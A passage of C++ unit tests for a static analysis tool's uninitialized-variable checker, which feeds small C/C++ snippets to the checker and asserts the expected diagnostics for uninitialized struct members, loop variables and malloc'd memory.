\"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.b == 0) { }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:9:8]: (error) Uninitialized struct member: fred.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct Fred { int a; };\\n\"\n \"void f() {\\n\"\n \" struct Fred fred;\\n\"\n \" if (fred.a==1) {}\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:9]: (error) Uninitialized struct member: fred.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct S { int n; int m; };\\n\"\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" for (s.n = 0; s.n <= 10; s.n++) { }\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void test2() {\\n\"\n \" struct { char type; } s_d;\\n\"\n \" if (foo(&s_d.type)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // for\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { clear(ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { ab.a = ab.a + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { init(&ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // address of member\n checkUninitVar(\"struct AB { int a[10]; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" int *p = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Reference\n checkUninitVar(\"struct A { int x; };\\n\"\n \"void foo() {\\n\"\n \" struct A a;\\n\"\n \" int& x = a.x;\\n\"\n \" x = 0;\\n\"\n \" return a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // non static data-member initialization\n checkUninitVar(\"struct AB { int a=1; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \" int b = ab.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n // STL class member\n checkUninitVar(\"struct A {\\n\"\n \" std::map m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C++)\n checkUninitVar(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C)\n checkUninitVar(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:7:9]: (error) Uninitialized struct member: a.m [uninitStructMember]\\n\", errout_str());\n\n // Type with constructor\n checkUninitVar(\"class C { C(); }\\n\"\n \"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11002\n checkUninitVar(\"struct S { char *p; int len; };\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" s.p = nullptr;\\n\"\n \" char* q = (s).p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if with flag\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB ab;\\n\"\n \" int flag = 0;\\n\"\n \" if (x == 0) {\\n\"\n \" flag = dostuff(&ab);\\n\"\n \" }\\n\"\n \" if (flag) {\\n\"\n \" a = ab.a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int x; };\\n\"\n \"S h() {\\n\"\n \" S s;\\n\"\n \" S& r = s;\\n\"\n \" r.x = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"S i() {\\n\"\n \" S s;\\n\"\n \" S& r{ s };\\n\"\n \" r.x = 0;\\n\"\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int i; };\\n\" // #12142\n \"int f() {\\n\"\n \" S s;\\n\"\n \" int S::* p = &S::i;\\n\"\n \" s.*p = 123;\\n\"\n \" return s.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int a; };\\n\" // #13848\n \"int f(std::istream& is) {\\n\"\n \" S s;\\n\"\n \" is >> s;\\n\"\n \" return s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar2_while() {\n // extracttests.start: int a;\n\n // for, while\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" do {\\n\"\n \" x = x + 1;\\n\"\n \" } while (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" for (int x = x; x < 10; x++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Element{Element*Next();};\n checkUninitVar(\"void f() {\\n\"\n \" for (Element *ptr3 = ptr3->Next(); ptr3; ptr3 = ptr3->Next()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (error) Uninitialized variable: ptr3 [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: int a;\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" init(&x);\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" if (b) x++;\\n\"\n \" else x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i += x) {\\n\"\n \" x = y;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i += x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:34]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo()) return i;\\n\"\n \" return 9;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" do {} while (!getvalue(&i));\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int x;\\n\"\n \" while (a()) {\\n\" // <- condition must always be true or there will be problem\n \" if (b()) {\\n\"\n \" x = 1;\\n\"\n \" break;\"\n \" }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int x;\\n\"\n \" while (a()) {\\n\"\n \" if (b() && (x=1)) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void do_something(int);\n checkUninitVar(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" for (;;) {\\n\"\n \" int a = x+1;\\n\"\n \" do_something(a);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct AB {int a; int b;};\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" while (true) {\\n\"\n \" int a = 1+ab.a;\\n\"\n \" do_something(a);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:18]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"void f(int i) {\\n\" // #4569 fp\n \" float *buffer;\\n\"\n \" if(i>10) buffer = f;\\n\"\n \" if(i>10) {\\n\"\n \" for (int i=0;i<10;i++)\\n\"\n \" buffer[i] = 0;\\n\" // <- fp\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(){\\n\" // #4519 - fp: inline assembler in loop\n \" int x;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" if (x & 0xf1) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(void) {\\n\"\n \" struct ABC *abc;\\n\"\n \" for (i = 0; i < 10; i++)\\n\"\n \" x += sizeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\" // #4879\n \" int i;\\n\"\n \" while (x) {\\n\"\n \" for (i = 0; i < 5; i++)\\n\"\n \" a[i] = b[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\" // #5658\n \" struct Foo *foo;\\n\"\n \" while (true) {\\n\"\n \" foo = malloc(sizeof(*foo));\\n\"\n \" foo->x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" int i;\\n\"\n \" while (x) {\\n\"\n \" for (i=0,y=i;;){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = (char *)malloc(256);\\n\"\n \" while(*p && *p == '_')\\n\"\n \" p++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Memory is allocated but not initialized: *p [uninitdata]\\n\", errout_str());\n\n // #6646 - init in for loop\n checkUninitVar(\"void f() {\\n\" // No FP\n \" for (int i;;i++)\\n\"\n \" dostuff(&i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int a;\n checkUninitVar(\"void f() {\\n\" // No FN\n \" for (int i;;i++)\\n\"\n \" a=i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"namespace N {\\n\" // #7377\n \" template\\n\"\n \" class C {};\\n\"\n \" using V = class C;\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" int r = 0;\\n\"\n \" for (int x; x < 4; x++)\\n\"\n \" r += x;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2_4494() {\n checkUninitVar(\"namespace N1 {\\n\"\n \" class Fred {\\n\"\n \" public:\\n\"\n \" static void f1(char *p) { *p = 0; }\\n\"\n \" };\\n\"\n \" void fa(void) { char *p; Fred::f1(p); }\\n\"\n \" void fb(void) { char *p; Fred::f2(p); }\\n\"\n \" void fc(void) { char *p; ::N1::Fred::f1(p); }\\n\"\n \" void fd(void) { char *p; ::N1::Fred::f2(p); }\\n\"\n \"}\\n\"\n \"namespace N2 {\\n\"\n \" static void f1(char *p) { *p = 0; }\\n\"\n \" void fa(void) { char *p; f1(p); }\\n\"\n \" void fb(void) { char *p; f2(p); }\\n\"\n \" void fc(void) { char *p; N1::Fred::f1(p); }\\n\"\n \" void fd(void) { char *p; N1::Fred::f2(p); }\\n\"\n \" void fe(void) { char *p; ::N1::Fred::f1(p); }\\n\"\n \" void ff(void) { char *p; ::N1::Fred::f2(p); }\\n\"\n \" void fg(void) { char *p; Foo::f1(p); }\\n\"\n \" void fh(void) { char *p; Foo::f2(p); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:39]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:8:45]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:13:33]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:15:43]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:17:45]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" void f1(char *p) { *p = 0; }\\n\"\n \"};\\n\"\n \"Fred fred;\\n\"\n \"void f(void) {\\n\"\n \" char *p;\\n\"\n \" fred.f1(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" class Wilma {\\n\"\n \" public:\\n\"\n \" class Barney {\\n\"\n \" public:\\n\"\n \" class Betty {\\n\"\n \" public:\\n\"\n \" void f1(char *p) { *p = 0; }\\n\"\n \" };\\n\"\n \" Betty betty;\\n\"\n \" };\\n\"\n \" Barney barney;\\n\"\n \" };\\n\"\n \" Wilma wilma;\\n\"\n \"};\\n\"\n \"Fred fred;\\n\"\n \"void f(void) {\\n\"\n \" char *p;\\n\"\n \" fred.wilma.barney.betty.f1(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:20:32]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2_malloc() {\n checkUninitVar(\"int f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" int var = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" return ab->a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Memory is allocated but not initialized: ab [uninitdata]\\n\"\n \"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\",\n errout_str());\n\n checkUninitVar(\"struct t_udf_file { int dir_left; };\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct t_udf_file *newf;\\n\"\n \" newf = malloc(sizeof(*newf));\\n\"\n \" if (!newf) {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *s = malloc(100);\\n\"\n \" if (s != NULL) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" p || assert_failed();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" x = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int* f() {\\n\"\n \" int *p = (int*)malloc(40);\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function parameter (treat it as initialized until malloc is used)\n checkUninitVar(\"int f(int *p) {\\n\"\n \" if (*p == 1) {}\\n\" // no error\n \" p = (int*)malloc(256);\\n\"\n \" return *p;\\n\" // error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" if (ab->a == 1) {}\\n\" // no error\n \" ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" return ab->a;\\n\" // error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(struct AB *ab);\\n\" // unknown function\n \"void f() {\\n\"\n \" struct AB *ab = (AB*)malloc(sizeof(struct AB));\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // analysis failed. varid 0.\n checkUninitVar(\"void *vlc_custom_create (vlc_object_t *parent, size_t length, const char *typename) {\\n\"\n \" assert (length >= sizeof (vlc_object_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_ternaryexpression() { // #4683\n checkUninitVar(\"struct B { int asd; };\\n\"\n \"int f() {\\n\"\n \" int a=0;\\n\"\n \" struct B *b;\\n\"\n \" if (x) {\\n\"\n \" a = 1;\\n\"\n \" b = p;\\n\"\n \" }\\n\"\n \" return a ? b->asd : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_rangeBasedFor() {\n checkUninitVar(\"void function(Entry& entry) {\\n\" // #7078\n \" for (auto* expr : entry.exprs) {\\n\"\n \" expr->operate();\\n\"\n \" expr->operate();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *item;\\n\"\n \" for (item: itemList) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int buf[10];\\n\"\n \" for (int &i: buf) { i = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_static() { // #8734\n checkUninitVar(\"struct X { \"\n \" typedef struct { int p; } P_t; \"\n \" static int arr[]; \"\n \"}; \"\n \"int X::arr[] = {42}; \"\n \"void f() { \"\n \" std::vector result; \"\n \" X::P_t P; \"\n \" P.p = 0; \"\n \" result.push_back(P); \"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_configuration() {\n const Settings s = settingsBuilder(settings).checkLibrary().build();\n\n checkUninitVar(\"int f() {\\n\"\n \" int i, j;\\n\"\n \" do {\\n\"\n \" i = 0;\\n\"\n \" return i;\\n\"\n \" } while (0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkExpr() {\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB *ab = (struct AB*)calloc(1, sizeof(*ab));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac_4871() { // #4871\n checkUninitVar(\"void pickup(int a) {\\n\"\n \"bool using_planner_action;\\n\"\n \"if (a) {\\n\"\n \" using_planner_action = false;\\n\"\n \"}\\n\"\n \"else {\\n\"\n \" try\\n\"\n \" {}\\n\"\n \" catch (std::exception &ex) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" using_planner_action = true;\\n\"\n \"}\\n\"\n \"if (using_planner_action) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void syntax_error() { // Ticket #5073\n const char code[] = \"struct flex_array {};\\n\"\n \"struct cgroup_taskset {};\\n\"\n \"void cgroup_attach_task() {\\n\"\n \" struct flex_array *group;\\n\"\n \" struct cgroup_taskset tset = { };\\n\"\n \" do { } while_each_thread(leader, tsk);\\n\"\n \"}\";\n ASSERT_THROW_INTERNAL(checkUninitVar(code), SYNTAX);\n }\n\n void trac_5970() { // Ticket #5970\n checkUninitVar(\"void DES_ede3_ofb64_encrypt() {\\n\"\n \" DES_cblock d;\\n\"\n \" char *dp;\\n\"\n \" dp=(char *)d;\\n\"\n \" init(dp);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n // Unknown type\n TODO_ASSERT_EQUALS(\"\", \"[test.c:4:14]: (error) Uninitialized variable: d [legacyUninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninit_(const char* file, int line, const char code[], bool cpp = true)\n {\n // Tokenize..\n const Settings s = settingsBuilder(settings).debugwarnings(false).build();\n\n SimpleTokenizer tokenizer(s, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for redundant code..\n CheckUninitVar checkuninitvar(&tokenizer, &s, this);\n (checkuninitvar.valueFlowUninit)();\n }\n\n#define ctu(code) ctu_(__FILE__, __LINE__, code)\n void valueFlowUninitTest() {\n // #9735 - FN\n valueFlowUninit(\"typedef struct\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" unsigned int flag : 1;\\n\" // bit filed gets never initialized\n \"} status;\\n\"\n \"bool foo(const status * const s)\\n\"\n \"{\\n\"\n \" return s->flag;\\n\" // << uninitvar\n \"}\\n\"\n \"void bar(const status * const s)\\n\"\n \"{\\n\"\n \" if( foo(s) == 1) {;}\\n\"\n \"}\\n\"\n \"void f(void)\\n\"\n \"{\\n\"\n \" status s;\\n\"\n \" s.x = 42;\\n\"\n \" bar(&s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:18:9] -> [test.cpp:12:13] -> [test.cpp:8:15]: (warning) Uninitialized variable: s->flag [uninitvar]\\n\", errout_str());\n\n // Ticket #2207 - False negative\n valueFlowUninit(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = a - c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // Ticket #6455 - some compilers allow const variables to be uninitialized\n // extracttests.disable\n valueFlowUninit(\"void foo() {\\n\"\n \" const int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n // extracttests.enable\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int *p;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #5240\n \" char *p = malloc(100);\\n\"\n \" char *tmp = realloc(p,1000);\\n\"\n \" if (!tmp) free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\"\n \" int *p = NULL;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int x;\\n\"\n \" init(x);\\n\"\n \" return x;\\n\" // TODO: inconclusive ?\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #8172\n \" char **x;\\n\"\n \" if (2 < sizeof(*x)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #5259 - False negative\n \" int a;\\n\"\n \" int x[] = {a,2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int *&y = x;\\n\"\n \" y = nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" int x = xyz::x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" extern int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" int x, y;\\n\"\n \" x = (y = 10);\\n\"\n \" int z = y * 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo() {\\n\"\n \" int x, y;\\n\"\n \" x = ((y) = 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" int x = p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab;\\n\"\n \" AB *p = &ab;\\n\"\n \" p->a = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" S& rIo;\\n\"\n \" S(S&);\\n\"\n \" void Write();\\n\"\n \"};\\n\"\n \"void foo(bool b, struct S &io) {\\n\"\n \" S* p;\\n\"\n \" if (b)\\n\"\n \" p = new S(io);\\n\"\n \" p->Write();\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:10]: (warning) Uninitialized variable: p\\n\",\n \"[test.cpp:8:9] -> [test.cpp:10:5]: (warning) Uninitialized variable: p.rIo [uninitvar]\\n\",\n errout_str());\n\n // Unknown types\n {\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3916 - avoid false positive\n valueFlowUninit(\"void f(float x) {\\n\"\n \" union lf { long l; float f; } u_lf;\\n\"\n \" float hx = (u_lf.f = (x), u_lf.l);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" int *y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \" *y = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" char x[10], y[10];\\n\"\n \" char *z = x;\\n\"\n \" memset(z, 0, sizeof(x));\\n\"\n \" memcpy(y, x, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Handling >> and <<\n {\n valueFlowUninit(\"int a() {\\n\"\n \" int ret;\\n\"\n \" std::cin >> ret;\\n\"\n \" ret++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" std::cin >> b >> a;\\n\"\n \" return a;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #3707\n \" Node node;\\n\"\n \" int x;\\n\"\n \" node[\\\"abcd\\\"] >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int a(FArchive &arc) 